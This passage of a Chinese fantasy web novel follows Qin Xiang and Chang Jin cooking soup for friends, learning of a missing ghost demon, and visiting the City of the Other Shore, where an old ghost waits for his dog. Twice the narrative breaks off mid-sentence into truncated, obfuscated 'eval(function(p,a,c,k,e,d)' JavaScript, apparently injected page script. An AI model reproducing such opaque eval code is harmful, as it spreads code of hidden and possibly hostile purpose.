长锦看着手中那半个土豆,再看着秦湘的笑,呆滞片刻,心中怦然的同时,耳尖也不自觉地红了红。 两个灶洞,只有里面那个有火。长锦坐在靠外边的灶台旁,没有火光暖色的映照,又有外面光线的透亮,这点小细节自然而然就逃不过秦湘的眼睛。 秦湘一边嚼一边看着长锦的耳朵,电光火石之间,心中就跟放了千万朵烟花似的,一边觉得好好笑,一边又觉得怎么这么可爱?太容易害羞了吧,明明一开始撩拨的是他,怎么先害羞的还是他? 她有心再逗逗他,于是在咽下口中的土豆之后,她又朝他张了张嘴,“啊”了一声。长锦不明所以,一时还有些微愣地没反应过来,于是也“嗯?”了一声。 “喂我呀,”秦湘好笑似的,抬眼看他,“不是神君你自己说的吗?你喂我。快,还有半个,啊~” 长锦的心跳得更快了,指尖都在轻微发着颤,他轻咳一声,连忙将那半个土豆递了过去,送进秦湘口中。然后低头又拿起一颗在手中盘了盘,稀里糊涂道:“还要吗?” 秦湘看着他慌张的模样,也是真的没忍住,他们之间并不是第一次喂对方吃东西了,虽然大部分时间里长锦还是挺正常的,习惯了这样的行为,但偶尔也有极个别的时候,会忽然害羞起来。 也不知道是什么触发了他,反正就是特别好玩。 “先不要了,神君你自己先吃吧,”她轻笑一声,摸了摸怀中的六顿,看着它圆滚滚的眼珠子死死地盯着长锦膝上的盘子,顿了顿,继续道,“算了,给我一颗吧,六顿好像也想吃。” “六顿也能吃这个吗?” “可以的,只要把皮撕掉就可以了,当个零嘴吃吃,不然它看着我们吃多可怜呀,”秦湘笑着,“你瞧它,这眼巴巴的小模样,口水都要流出来了。” 仿佛是要印证秦湘的话似的,那小家伙盯着长锦手中正在剥皮的土豆儿,不知到底是空气中弥漫的排骨肉香吸引了它,还是长锦手中的土豆吸引了它,总而言之,在秦湘说完这句话后,两道晶莹的口水就这么水灵灵地从它嘴边流了下来,不带一点犹豫。 “嘿,你个大馋小子,说流口水还真流口水啦,”秦湘一惊,连忙将六顿的头转了过来,双手捧着它的头左右确认了一番,然后夸道,“果然给你取六顿这个名字没取错,你没有辜负阿娘对你的期盼,哈哈哈哈。” 有了这一小插曲,长锦也将方才慌张的神情渐渐平复了下来,他看着面前笑闹着的一人一狗,将手中剥好的两颗土豆递给了秦湘,也笑道:“好啦,快喂给它吃两颗吧,它真要等不及了。” 两人一狗坐在灶台前,秦湘喂六顿,长锦喂秦湘,又这么东拉西扯地聊了一会儿,喂了一会儿,六顿性子活泼,在一个地方呆不久,于是围着两人打了会儿转,又吃了几颗土豆儿后,便撒野似地跑走了。 秦湘起身,看着六顿跑了出去消失在门扉后边,才走了出去,来到庭院水井旁,舀水洗手。洗完手后,一转身,却看见长锦站在厨房门口处望着她。 她一怔,旋即笑道:“神君你怎么出来了?坐在那等我就好了,我就洗个手。” “没事。”长锦摇摇头,轻声道,“坐久了走两步也是好的,而且我刚才看了看那排骨炖了也挺久的了,差不多了,可以把胡萝卜放下去了。” “好,放那不要动,我来放。”秦湘闻声,连忙走进厨房,揭开锅盖,肉香味与玉米香味扑面而来,秦湘满意地点点头,“嗯~好香呀,这次的好成功,师兄和清桐姐姐一定会夸我的。” “嗯……看上去非常不错,可以出师了。”长锦拿过一个汤勺递给她,“搅拌搅拌让它均匀一下,再炖个两柱香的时间就差不多可以出锅了。” “好嘞。”秦湘接过汤勺,一边将胡萝卜倒进了锅中,一边拿着勺子搅拌搅拌了几下,然后再盖上锅盖。两人又坐回了灶台边,刚好灶洞中的火也快要熄灭了,秦湘估摸着,又添了两根柴禾进去,“差不多把这两根柴火烧完这玉米胡萝卜排骨汤也就可以出锅了。” 做完这一切后,秦湘便将方才装土豆的盘子从灶台上拿了下来,放在膝盖上,剥了颗小土豆儿递给长锦,“神君,给,方才你就顾着给我和六顿剥皮了,你自己都没吃过,快尝尝,还热乎着呢。” 长锦从她手中将那颗土豆接了过来,然后在她满怀期许的目光中咬了一口,吃下。 “怎么样?好吃吗?”秦湘眨巴眨巴眼睛,期待地问道。 长锦把剩下的半颗也吃了,然后点了点头,微笑道:“好吃。” “好吃就多吃两颗。”秦湘笑道,又继续剥了几颗塞进他的手中。 两人边吃边聊,话题东拉西扯地,天南地北什么都聊,聊到最后,弯弯绕绕,又绕到了厄运之门与那幕后之人的事情上来。秦湘剥着手中的土豆,看着灶台中的火光,一声叹息,“神君,你说那幕后之人到底会是谁呢?他到底把林秋月带到哪里去了?等他提取出来云雾宗那些怨灵魂体之力,真的就能打开厄运之门吗?” 长锦抬起眼来,沉默片刻,轻声道:“不知道,但是他不会那么容易打开厄运之门的。” “嗯?”闻言,秦湘一愣,蓦地便将脸转了过来,看向他,问道,“此话怎讲?” “我已经将自身三成的法力渡到了渡天剑身上,让渡天剑代替我去加固了厄运之门的封印,”长锦道,“不管我在哪里,只要那人对厄运之门动手脚,就会遭到封印的反噬,而我也会立即知道他的方位。” 秦湘闻言,先是一惊,然后微微皱起眉头,面露忧色,“这样会对神君你自身造成什么影响吗?你本来就少了一半神力,如今又少了三成法力,你的身体会有影响吗?”她顿了顿,思忖了一会儿,又自问自答般道,“不行,等晚些了我得去找清桐姐姐拿些培元丹给你,得补补。” 看着她焦急的模样,长锦笑道:“没关系的,秦湘,腾岳之巅有供奉之力,我的神力就算少了三成也无碍,而且只要渡天剑回到我身边,这三成神力自然也就回来了。” 秦湘坚持道:“那这段时间里若是有危险出现呢,不行,还是得补补。” 长锦微微笑着,看着秦湘,“不是还有你吗?你这么厉害,这段时间那就麻烦你保护保护我了。” “……”长锦的语气正经,不像是在开玩笑,但是在秦湘抬眸对上他视线的瞬间,却看见了他眼底蕴藏着的那丝笑意。她顿了顿,挠挠头,也转言笑道,“好吧好吧,那我一定会保护好神君你的。” 排骨汤很快就熟了,揭开锅盖,味香扑鼻。秦湘从橱柜里翻出个瓦罐来,放在盆中冲洗干净,然后加入盐巴再将炖盅中的汤舀进了瓦罐中,撒上葱花点缀,一锅色香味俱全的胡萝卜玉米排骨汤就做好了。 秦湘将方才没动的另一盘烤土豆端给长锦,然后自己再将那个瓦罐捧起,笑道:“走吧,我们去找师兄他们。” 不用练功又不下山做委派的时间,根本不用问,就知道周楚闵会在哪里。秦湘拉着长锦一路直奔医疗阁,还没推开门,就已经先叫唤了起来:“师兄,清桐姐姐,我煲了汤……” 话音未落,人已先愣住了。医疗阁的大厅内,除了周楚闵与沈清桐 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秦湘下厨的次数屈指可数,每次这种时候,乔玉洲都在双灵阁中,从未撞上过一次秦湘做饭菜的时候,所以他不懂周楚闵的痛。看他跃跃欲试盯着秦湘面前的瓦罐,秦湘也心中一喜,眼前一亮,笑道:“这是神君教我做的胡萝卜玉米排骨汤,刚做好准备拿过来给师兄清桐姐姐尝尝的,这边还有烤好的小土豆。” 她揭开瓦罐的封盖,香味瞬间弥漫了整个房间。周楚闵满脸不可置信,站起身来朝着那瓦罐里看了两眼,罐子中汤汁清澈浓郁,色泽好看,香气扑鼻。 他沉默了良久,抬起一张脸来,指了指那汤,又指了指秦湘,才不确定地道:“阿湘,你确定这是你做的?” “是啊,我不是说过了嘛,我做的,不过也是神君教我做的,”秦湘从一旁的食盒中拿过六副碗筷,又笑着望向一旁的乔玉洲与三花,“你们来得也真是赶巧,刚好我多拿了两副碗筷,刚好你们就来了。” “说明我与秦湘姐姐心有灵犀一点通。”三花笑着接过秦湘递过来的一碗排骨汤,“冥冥之中自有天意。” 秦湘朝她温柔地笑笑,又舀了一碗送到周楚闵面前,“喂,师兄,你快尝尝,我可是特地学的,你不是说我做的不好吃吗?我觉得这次味道绝对好,神君教我做过的东西就没有一次是不成功的。” 长锦捧着茶杯喝了口热茶,闻言抬头笑道:“我只是口头上说说而已,其实也是你自己有天赋,一点就通。” 这话一出,周楚闵觉得自己一定是听错了,阿湘?有天赋?做菜?有天赋?那他之前吃的那几次水炖辣椒肉片是什么东西?又低头看了看面前色香味俱全还在冒着热气的汤,好吧,如果要这么对比,确实也算是有天赋。 “嘿嘿,就是书上不详细,做菜这种细致活,还得是看人做了一回才行,或者有人在面前教我一回,告诉我要注意什么,我一定记得住,”秦湘边说着,又端了一碗送到了沈清桐面前,“清桐姐姐你也快尝尝。” “好,谢谢阿湘。”沈清桐温温柔柔地笑着,然后双手接过。 给所有人都打完了之后,秦湘才为自己舀了一碗,然后坐下,看着面前的几人都已经动勺子舀了汤送入嘴中了,她便紧张地看着众人,看着他们咽了下去,然后小心翼翼地问道:“怎么样?好不好喝?” 众人沉默了一瞬,让秦湘连大气都不敢出了,她拧紧了眉头,看着身旁沉默不语两两相望的几人,又不确定地嗫嚅道:“怎……怎么了?你们怎么都不说话了?三花,清桐姐姐,乔玉洲,师兄?神……神君,他们、我……” 看着秦湘紧张的样子,众人忍了一瞬,再也忍不住了,默契地对视两秒,然后纷纷笑了出来。 三花很给面子,笑道:“秦湘姐姐手艺很好,我还从来没有喝过这么好喝的排骨汤。” 乔玉洲又舀了一勺送入嘴中,点头道:“嗯,秦湘你做得不错,下次再多加两粒盐就更好了,有点淡。” 沈清桐也笑道:“阿湘进步很大,这汤炖的刚好,好喝。” 周楚闵则是一边笑着,一边还是不确定地又喝了好几口,“阿湘,这真是你自己做的?进步简直神速呐。” 听着他们的话,秦湘才松了口气,“你们都不说话,我还以为这次也像之前那样呢,只是看着卖相好了些。” “没有没有,只是想逗逗你罢了,看你紧张的样子很好玩,哈哈哈哈。” “乔玉洲!!” “好了好了,不逗你了不逗你了,快喝快喝,不然等下就凉了。你也快尝尝你自己的手艺。” 82.梦寐大妖 几人坐下喝着汤,喝完汤后,周楚闵又将桌上的碗筷瓦罐收拾了一番,等一切收整好后,一行人才整整齐齐地又围着桌边坐下。 秦湘从盘中摸了两颗土豆儿出来,剥了皮,一颗递给了沈清桐,一颗递给三花,道:“对了,三花,你方才说你找到那妖族失踪妖怪的线索了?快说来与我听听,到底是怎么一回事?” 三花嚼着口中的土豆儿,顿了顿,将它咽了下去,又喝了口水顺了顺喉咙,这才继续道:“是这样的,秦湘姐姐,上次你不是和我说,那凶手抓那些小妖怪,可能是障眼法,是那些妖怪中有他所需要的特殊妖怪。所以我就传了讯息给族长,让他从这个角度再去探查一次,果不其然,就真的查到了些不一样的东西。” 秦湘与长锦对视了一眼,然后又将视线放回了三花脸上,紧张问道:“是什么?” 三花从袖中摸出一张卡片大小的白纸,将它放在桌上,然后掌心凝聚灵力,自白纸上面扫过。只见那纸张随着光芒的闪过也渐渐变大,变成了一张图纸那么大,纸中,一只漂浮着的如魂体一样的东西渐渐浮现其上。 周楚闵只肖看了一眼,便直接问道:“梦寐?” 三花点点头,肯定道,“不错,就是梦寐。” 秦湘拿过桌上的图纸,盯着那上面画着的妖怪看了一会儿,道:“相传梦寐一族与世无争,无形态,隐居在黑暗影子与光明的交界处,行踪难以捉摸,虽具有大妖之力,但也只能附着在其他低等生灵的躯壳之中生存,压根构造不了什么威胁。” “是,梦寐一族,行踪不定,不能见光,白日里会寄居在其他生灵的躯壳之中,直到傍晚太阳落下,夜幕降临的时候,才能从其他生灵的躯壳之中出来,吸收月光精华增长妖力,是一种幽灵型妖怪。”三花叹道,“也正是因为梦寐一族的行踪难以捉摸,所以它一直是妖界中最难统计管理的一种妖怪。” “可是据我所知,这梦寐的能力,最多也就能让宿主做做梦呀,它们白日里要依靠宿主,夜晚离开时为了回报宿主,会施法吸食掉宿主身上的负面情绪,给他们一场美梦,仅此而已呀。” 三花严肃道:“是,秦湘姐姐你说得都没错,可是这些只是梦寐自己主动施展的一种能力。” “主动施展的能力?”周楚闵也好奇了,“难道它还有一种被动施展什么的能力?” “没错,”三花点点头,“梦寐虽然不是传统型的大妖,一身强悍的妖力无法体现在攻伐上面,但是也不能否认它的身体中隐藏的巨大妖力。你们都应该听说过,梦寐一族中有一门禁术,那门法术,梦寐一生只能使用一回。” 周楚闵道:“你说的是一魂换魂术吧?在梦寐的生命受到威胁之时,梦寐就会爆发出自身全部妖力,直接吞噬掉原主的魂魄,然后占据他的躯壳,然后成为宿主,继承宿主的一切,不过这也代表着梦寐就不会再是梦寐了。” “但是这一魂换魂术不也是要由梦寐自己主动施展的?”秦湘道,“而且这术法漏洞很大,虽然厉害,但只能是遇到一个对手的情况之下,若是被围殴,那不就是死定了?”她顿了一顿,又道,“不对,如果被人围殴的情况之下,它吞噬取代的若是最厉害的那一个,再继承宿主的一切,倒是一线生机。” “可是,这和幕后之人又会有什么联系呢?他捉这梦寐用来干什么?梦寐是幽灵型妖怪,无内丹,本身就与其他有形态的妖怪不同,据《万妖录》记载,其妖力也无法像寻常妖怪一样凝聚提取出来,”秦湘思忖了一会儿,突然道,“各位,我忽然有了个大胆且危险的想法,你们说,不会这幕后之人就是被这梦寐吞噬过魂魄的人吧?” 这话一出,场上静默了一瞬,半晌,乔玉洲才咳嗽一声,道,“秦湘,你这想法可太大胆危险了。如果这幕后之人是被这梦寐吞噬过魂魄的人,虽然他现在已经不是梦寐的身份了,已经完完全全变成了仙门百家中的一个人了,但是不能否认他的前身还是梦寐,如果他真是梦寐,那他也是妖,那他为什么要杀害这么多同类?” “好像也是,这个推测是有点站不住脚,”秦湘叹了口气,“所以这幕后之人到底要干嘛呀?” 三花也道:“我也不清楚这其中的联系,不过其他失踪的小妖就更为平常了,压根没有任何特殊之处,除了梦寐。梦寐一族行踪向来不定,这次来找秦湘姐姐,也是因为族长他最近搜寻到了一些梦寐发出的妖力波动。” 秦湘面色凝重,沉吟片刻,她接道:“所以这只梦寐很有可能就是妖怪失踪案件中的一员,猫族族长给了你这缕妖力发出的方位,让你前去搜查一下,寻找这只显露了行踪的梦寐,看看有没有关于这件事的蛛丝马迹。” “就是这样了,”三花点点头,“所以就来找秦湘姐姐你了,一来也是为了将这个消息告诉一下你,看会不会和你在找的那幕后之人有关,二来也是看你要不要和我一起过去那里看看。” “那梦寐发出妖力波动的地方在哪里?”秦湘将手中的图纸放回桌上,转而看向三花。 三花与乔玉洲对视一眼,神色也越发凝重了.秦湘眨眨眼,看着两人沉重的神色,问道,“怎么了?这地方很恐怖?这差事不是个善茬?” 三花深吸了一口气,缓缓道:“这梦寐最后法力波动之地,在黄泉之门,彼岸之城。” 此话一出,桌边围坐着的几人皆是一惊。 黄泉之门,彼岸之城。字如其意,便是黄泉地府,不过也并不算是完全入了地府,是死去的魂魄要经历的第一站点,只有经过彼岸之城,才能踏入黄泉之门,简单来说便是黄泉地狱的入口,也是阴世与阳间的交界处。 沈清桐愣了愣神,好半晌,才低声道:“这彼岸之城传说也就是魂魄入地府前需要停留的地方,那城中有一条河流,魂魄先由河流飘至彼岸之城,再由鬼差记录丈量,正常魂魄便可直接通过黄泉之门进入鬼界,有怨有求不愿离去的可能就会停留在那彼岸之城内。总之,那里并不是活人该踏足的地方。” 周楚闵也面色严肃了起来,他皱了皱眉头,看向三花与乔玉洲,沉声道:“你们确定没有搜寻错?那梦寐的妖力波动范围在彼岸之城?” 乔玉洲摇了摇头,叹息道:“没看错,那地方确实就是黄泉之门,彼岸之城。看到这个结果出来的时候,我们也是不敢相信的,于是再三确认了好几次,确实是没看错的。” 三花看向秦湘,轻声道,“秦湘姐姐,这次去的地方是有些棘手,你要是不去的话也没关系,不用勉强,我和乔玉洲去就可以了,到时候有什么线索了我们再来找你。” 秦湘倒也没说去,也没说不去,只是看向乔玉洲,道:“你不也是活人,你怎么去那彼岸之城?灵魂出窍?” “不用这么麻烦,而且灵魂出窍是一件很危险的事情,一不小心就回不来了,”三花温声道,又从腰间系着的锦囊中摸出了个小玉瓶,放在桌上,“这是族长给我的,妖族医师与巫师一同炼制的隐息丸,吃下这个,七天之内就能隐匿周身的活人气息,与魂体接触。” “既如此,那我和你们一起去。”秦湘说着,又转头看向长锦,还未说话,他便笑道,“你若是想去看看,不用问我什么,只管去就是了,我会跟在你身后,与你一起。” 闻言,秦湘感动地点点头,这边四人便这么一拍即合说好了,余下那边周楚闵与沈清桐面上仍有些担忧的神情在。沈清桐道,“你们真的决定好了?真要去那彼岸之城?” “嗯,说不定这件事真的与那幕后之人有关呢,毕竟出得这么巧,”秦湘正色道,“不管怎样,也算是有些小线索,不能放过。”她顿了顿,抬眼看向坐在她身旁的沈清桐。 见她面上的凝重,伸手拍了拍她的手,宽慰道,“好了,清桐姐姐,你别担心,我们去的地方终归不是黄泉里面不是?又不是过了鬼门关,若是过了鬼门关那可能就危险了,因为可能就出不来了。但是我们只是在彼岸之城停留,若是被鬼差们发现了,它们也不能拿我们怎么办,我们就立即离开就是了。你放心好了,我们会没事的。” 沈清桐看着她,沉默片刻,轻叹道:“可是……那终归还是鬼界的地盘啊,我怎么能不担心……” 见状,长锦也温声道:“沈姑娘,你放心吧,无论发生什么,我都会让大家安全回来的。” 闻言,秦湘也连忙道:“是啊是啊,清桐姐姐,神君是何许人也,有神君在,我们一定会毫发无损地回来的。” 沈清桐的目光在两人身上停留着,见两人眼中的坚持,她顿了顿,终归还是没有再多说什么了,只是道,“你们一定要安全地回来。” “放心放心。”见她蹙着的细眉终于舒缓了开,秦湘连忙拍了拍她,顺了顺她的情绪,又安慰开解了几句,这才看向周楚闵,“师兄,那我和神君就和三花乔玉洲去彼岸之城探一探,你与清桐姐姐留在腾岳之巅,除了查找林秋月的踪迹外,清虚门那边的动向还是要继续关注着,若是有什么异样,你就立即用千里传音术知与我一声。” “好,我知道了,”周楚闵眉间也是担忧之色,“那你们也要注意安全。” “嗯嗯,”秦湘安抚完这边两人,也交代完该说的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为这次通往的地方打破了六道界限,三花在上面施展了咒法,所以这次的传送阵与上次在玉溪城中开的那个大有所不同,不论是速度还是灵力流转,都比上次的要强悍了不少。于是几人进入到了传送阵中,不出两柱香的时间,就看到了尽头的橙色灵力流转漩涡出口。 走出传送法阵,彼岸之城便呈现在了众人眼前。看着面前的景象,秦湘眼睛都睁大了,这就是彼岸之城?! 在众人的想象认知里,鬼界就应该要是那种黑黢可怖只有黑夜无白日的样子,鬼界的楼宇也应该要是那种威严恐怖奇形怪状的。就算有白天之分,鬼界也决计没有五彩斑斓的色彩,只有黑白两色。 可现在摆在众人眼前的,天空是湛蓝色的,阳光暖暖。一座高耸的牌楼矗立在众人面前,牌匾上“彼岸之城”四个大字在阳光下流光溢彩。再往里望去,屋舍俨然,宫宇角楼,街道纵横交错。 如果不是他们心里知道这是鬼界的入口处,就照这副场景来看,凭谁来了都不能相信这会是鬼界。 秦湘在那牌楼下站定,打量着这周边的一切,好半晌,才感慨道:“这彼岸之城的布局,与人间真是毫无差别的一致,我要不是知道我来的是鬼界,我还以为我这是到哪个古色古香的城镇里来踏春来了。” 乔玉洲也颇有同感,看着那蓝得以假乱真的天空,伸出手来感受了一下那阳光洒在皮肤上的温度,温暖柔和真实地不像话,“是啊,这风景看上去比人间的大多数地方都要好了,还真是没想到鬼界入口竟是这样的光景。” “走吧,我们先进去瞧瞧。” 四人走进了彼岸之城,一路上,形形色色的鬼魂在街道上漂浮而过,男女老少,一如生前。街头巷尾,市集热闹非凡,店铺之中,除了售卖的食物与人间的大有所差之外,其余一切,几乎大同小异。 几人边走边看,集市上的商品琳琅满目,吆喝叫卖声也此起彼伏。秦湘一路都震惊,与三花两人手拉手走在前头,长锦与乔玉洲一左一右跟在俩人后头,不紧不慢。 街头熙熙攘攘,两人左顾右盼,忽然就瞧见了一个与这热闹格格不入的小摊子。那摊子不大,是个卖点心糖糕的,摊主是个看上去年纪很大的老人家,颤巍巍的模样,想来应该是天命到了寿终正寝。 那老爷子守在摊前,面前摆放着一个一个丑得别致的糕点。虽然没有一个鬼为他停留,但他手里的动作却也不曾停下分毫,仍是孜孜不倦地揉搓摆弄着手中那一团团不知所云的面团子。 两人对视一眼,心中都有几分不忍,便不约而同地朝着那摊子走去。见有人停留在了他的摊子面前,那老爷子手里的动作顿了一顿,抬起一双浑浊的眼睛看向几人,怔了半晌,才不确定似地开口:“几位是……要买糕点?” 秦湘的目光在她面前的丑面疙瘩上面一扫而过,然后才笑了笑:“是啊,老爷爷,要不要给我们介绍一下?” “哎,哎……好,好。”那老头子热切地起了身,然后走来了众人面前,为他们介绍着面前摆放着的面团,“这些都是我今日做的,这个是黑芝麻馅的,这个是红豆沙馅的,这个是白莲蓉馅的,这个是香芋馅的……娃娃们看看,看你们要些什么口味的,老爷子这就给你们端过去。” 83.善恶之河 看着面前这些几乎都是一模一样的丑疙瘩,秦湘与三花对视一眼,着实是看不出它们之间有什么区别。但是看着老爷子脸上闪烁的光亮与欣喜,她们又不忍拂了他的兴致,于是便每个口味都来了两个。 几人在摊子旁边的矮木桌旁坐下,那老爷子很快就将点心送了上来。 鬼界的食物与人间的不同,不论是什么,都丝毫不冒热气。而且鬼吃东西也并不像人一般,需要真正地将东西吃下肚,只需要凑近闻一闻,吸收了食物的气味,便算是将食物吃下了肚。 乔玉洲看着面前这坨分辨不出形状的面坨坨,实在是有些下不去口。他抬眼看向对面的秦湘,那边秦湘只顿了一秒,给自己做了个心理建设,便豁出去般将面前的点心抓起,在鼻子旁嗅了嗅。 冰冷的糕点化成了一阵白色的光华沁入了秦湘的身体之中,见她吃完,守在一旁的老头儿捧着一张木托盘小心翼翼地问道:“娃儿,怎么样?味道还行吗?” 秦湘感受了一下,这丑糕点虽然外表其貌不扬,但是味道却是出乎意外地还不错。她又捧起了一个,朝着立在一旁的老爷子笑道,“味道不错,白莲蓉馅儿的,细腻香甜不腻人,好吃。” 老爷子一愣,脸上的笑意在这时候更是遮都遮不住。他兴奋地又端过来几个点心,摆放在秦湘面前,语无伦次地说道,“好好好……娃娃喜欢吃就多吃点,还有还有,哈哈哈哈哈。” 秦湘见他脸上洋溢的笑,也就笑着道了谢,然后在他期许的目光之下,又捧起一个慢慢吃了起来。吃得差不多了的时候,秦湘便与坐在一旁的老爷子有一搭没一搭地聊起了天来。 “我瞧着娃娃你们几位都很年轻,怎么年纪轻轻地就来了这彼岸之城了呢?”老爷子的声音中似有惋惜。 几人尴尬地对视一眼,秦湘连忙叹了口气,摆摆手道,“嗐,时运不济,我们本是修仙人,在一回围剿妖魔的大战中就怎么说……嗯、就运气不好……” 听到这儿,老爷子也似懂非懂地点了点头,“哦,修仙的仙君呐,那你们应该很快就能清算功德转世投胎了。” “嗯,”秦湘胡乱地点了点头,怕他再多问什么,于是便先发制人地笑着问道,“那爷爷你呢?我听说彼岸之城停留的都是有怨有求心中有执念之人,看爷爷这副模样,应当是在这里停留许久了吧?” 老爷子一声叹息,目光悠长,像是穿过了前世的长河,“停留许久倒没有,老爷子孤身了大半辈子,哪有那么多在意的东西。不过就是我生前啊,养了一条狗,那狗是我捡来的,只是没想到我这身体这么不行。所以唯一在意的就是怕我走了之后那傻狗还傻呼呼地跑去我摆摊子的地方等我,见不到我它就会一直等,真是傻地没边了。” 秦湘心中一酸楚,轻声问道:“所以爷爷你是一直在等你的小狗过来找你?” “是啊,”见有人陪他说话,老爷子的话匣子也打开了,拉了把凳子就在秦湘身旁坐下,“说起来就算是我与它的缘分吧,我和它第一次见面的时候吧,也是我第一次摆摊子。” “第一次摆摊子?”三花疑惑地挠挠头,道,“那爷爷你的家人呢?怎么还会让你这么大年纪了还出来摆摊?” “老人家嘛,自己一个人坐着太闲又闲不住,想要人陪陪但是儿孙太忙了,”老爷子笑着,将这些陈年旧事一一道出,“老伴去的早,想来早就已经渡过忘川入了尘世,儿孙们用不着我操心担心,也就那只傻狗,值得我担心担心了。”顿了一顿,他又接着道,“你们不知道,第一次啊,我摆摊做的就是这些糕点,第一次做手生,做的就是这些丑疙瘩,在摊子面前守了一天,都没卖出去一个,哈哈哈哈。” 像是说到好笑的地方,想起了一些好笑的事,老爷子说着说着就忍俊不禁地笑了起来。 “后来快要收摊的时候就遇见了爷爷的小狗儿是不是?” “是啊,”老爷子想了一想,感慨道,“那傻狗看着可可怜了,呜呜叫着,赖在了我的摊子前,哎哟喂,就睁着它那双圆溜溜的眼睛看着我,那个傻劲呀。我看着那些糕点,左右是卖不出去的,就丢了一块给它,它不是人不知美丑,嗅了嗅,竟然也吃了。本来以为与它也就是萍水相逢,结果它第二日第三日又来了,日复一日。” “后来有一日吧,我因为摔了一跤就没去摆摊,”老爷子来了精神的眼睛在众人脸上扫视了一圈,卖着关子地笑道,“然后你们猜怎么着了?” 乔玉洲把玩着手中的茶杯,惊奇地“哦?”了一声,也十分给力地捧哏道,“怎么着了?那狗来你家找你了?” “对,那傻狗呀,竟然就找来我家里了,你们说神不神?看见它的那一刻,我真就觉得神了!”那老爷子说起了他的狗,讲到后边,似是太久没与人这么痛痛快快地交谈过了,大有一说下去犹如滔滔江水奔流不止之意。 听他再一不停歇地讲了小半个时辰,三花偏头看了看其他摊位上人来人往,而这老爷子这摊位上除了他们几人之外却再无一人踏足。 她性子直咧,顿了顿,还是没忍住,对着老爷子道:“爷爷,你既然知道你这个摊位没有人光顾的原因是你这个糕点的外形有些……呃、奇特,为什么不改变一下它的外形呀?明明味道这么好,要是没有人吃,岂不可惜了你的一番手艺?” “哈哈哈哈哈,”老爷子听了她的话,一怔,也是没忍住笑了起来,“小姑娘这话说得,倒是给老爷子我留了几分薄面,奇特,这还真是个好词。不过吧倒也不是我不想做好看些,实在是我那只傻狗,它只认得我们第一次认识时给它吃的那个丑东西,要是我做好看了,它到时候来了,认不出我的摊子怎么办?” “所以爷爷你这糕点的样子,就是照着你和它第一次相识的那次做的?”秦湘问道。 那老爷子点点头,笑道,“是了,小姑娘你说对了,毕竟它真的太傻了,认定了那样东西就只认得它一开始的模样,我要是变了样了,它肯定就认不出我来了。我已经等了十五年了,算算时间,也快要等到它了。越是这种时候就越不能出差错,万一要是错过它了,那傻狗又找不到我,它要怎么办呢。孤苦伶仃一个狗,多可怜呐。” 听到此处,秦湘望向他,眼睫垂下,神色复杂,一时也不知该用何种情绪来看待面前的老人。 他嘴中说着狗孤苦伶仃,转念一想,他又何尝不是在说自己呢?孤苦伶仃一个人,多可怜呐。想要的是子女孙儿的陪伴,但是他们却从来不为他停留,只有夜色中那一只傻狗,因为那一块丑疙瘩,却跟着他陪着他了一辈子,给了他一丝那他一直都想拥有的慰藉与陪伴。 秦湘看着老爷子眼中的期许与笑意,怔了片刻,正欲开口再说些什么之时,却忽然闻得了一声“砰”的巨响从城中传来。几人一惊,连忙起身走出摊子朝着声源处望去。 只见城中央的天空之上,一个巨大的圆形法阵散发着幽幽光华漂浮在其上。城中街道上的众鬼,见到这个法阵也纷纷停下了手中的动作,一个一个地都朝着那法阵底下走去。 秦湘看得膛目结舌,惊道:“这是怎么回事?” 那老爷子也慢悠悠地走了出来,拍了拍她,笑道,“不用担心,你们刚来,不知道也正常。今天是五日一次的开放善恶之河打捞亡魂的日子,每个来到彼岸之城进入黄泉的灵魂都是由善恶之河飘荡而来的。这也算是彼岸之城的一大盛典仪式,反正没事做,所以大家都会前去观望。你们也没什么事吧?不如和老爷子我一起去看看?” 众人对视了一眼,反正他们来彼岸之城的目的就是为了寻找梦寐,如果梦寐真的在彼岸之城中,这场仪式又聚集了彼岸之城中的所有亡魂,不如就前去看看,万一就有线索了呢? 于是几人也没拒绝老爷子的这个提议,跟着这老爷子便随着一众鬼流也前往了那善恶之河法阵下面。 “这善恶之河啊,是忘川河的支流,位于彼岸之城的中央,将彼岸之城分为了东城与西城。人啊在死去之后魂魄都会顺着善恶之河漂浮来到彼岸之城中,刚进入鬼界的亡魂浑浑噩噩,就需要彼岸之城中的鬼差将亡魂全部打捞起来,然后点开它们的记忆,恢复它们的神智。”老爷子边走边为众人解释。 秦湘好奇地问道:“那爷爷,彼岸之城的东城与西城住的都是不一样的亡魂吗?” “不一样,我们这边属于西城,西城住着的都是有执念的魂灵,并无其他大过大错,停留在这等着执念完成再前往黄泉按照流程投胎转世即可。而东城住着的,都是生前罪大恶极的魂灵,由鬼差看管,是要等待时日再打入十八层地狱受刑的。” “那那些没有执念生前一切照常,没有罪大恶极的魂灵呢?”三花问道,“是不是就直接可以通过黄泉之门前往鬼界依照流程过忘川喝孟婆汤转世轮回?” “是了,被打捞起来的亡魂恢复记忆之后就会由鬼差丈量记录其生前之功德。正常无执念的亡魂当日便可随着鬼差们通过黄泉之门去鬼界,正常有执念还不愿离去的就留在西城,罪大恶极的就流放东城。”老爷子说着,眯着眼睛朝着远处望了望,“好了好了,就到了,那里有几个空位,我们过去那边吧。” 几人不紧不慢,跟随着老人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“会不会是白天梦寐不能出来?得等到夜晚啊?”秦湘推测道。 “也有可能,幽灵型妖怪是不见光的,”三花抬头看了看西城天空上的太阳,“虽然这个太阳是假的,但也跟真的毫无几差了,要不我们晚上再看看吧?” “那还要在这里继续看下去吗?”乔玉洲说着,打了个大大的哈欠,“这鬼差反反复复的动作跟催眠似的,一下两下,都给我看困了。” 秦湘转头看向长锦,又问道,“神君你可有什么收获?除了这些魂流,有没有感受到其他的妖力?” 长锦闭眼感受了片刻,然后睁开眼,摇摇头,给了秦湘一个无奈的答案:“没有。” 正在几人都有些泄气无头绪的时候,忽然,鬼群中爆发了一阵惊呼声,“又来了。”“又是她。”“这个月是第二回了吧。”伴随着众鬼细细簌簌的交谈声一起传来的,还有河流中一阵汹涌的湍急声。 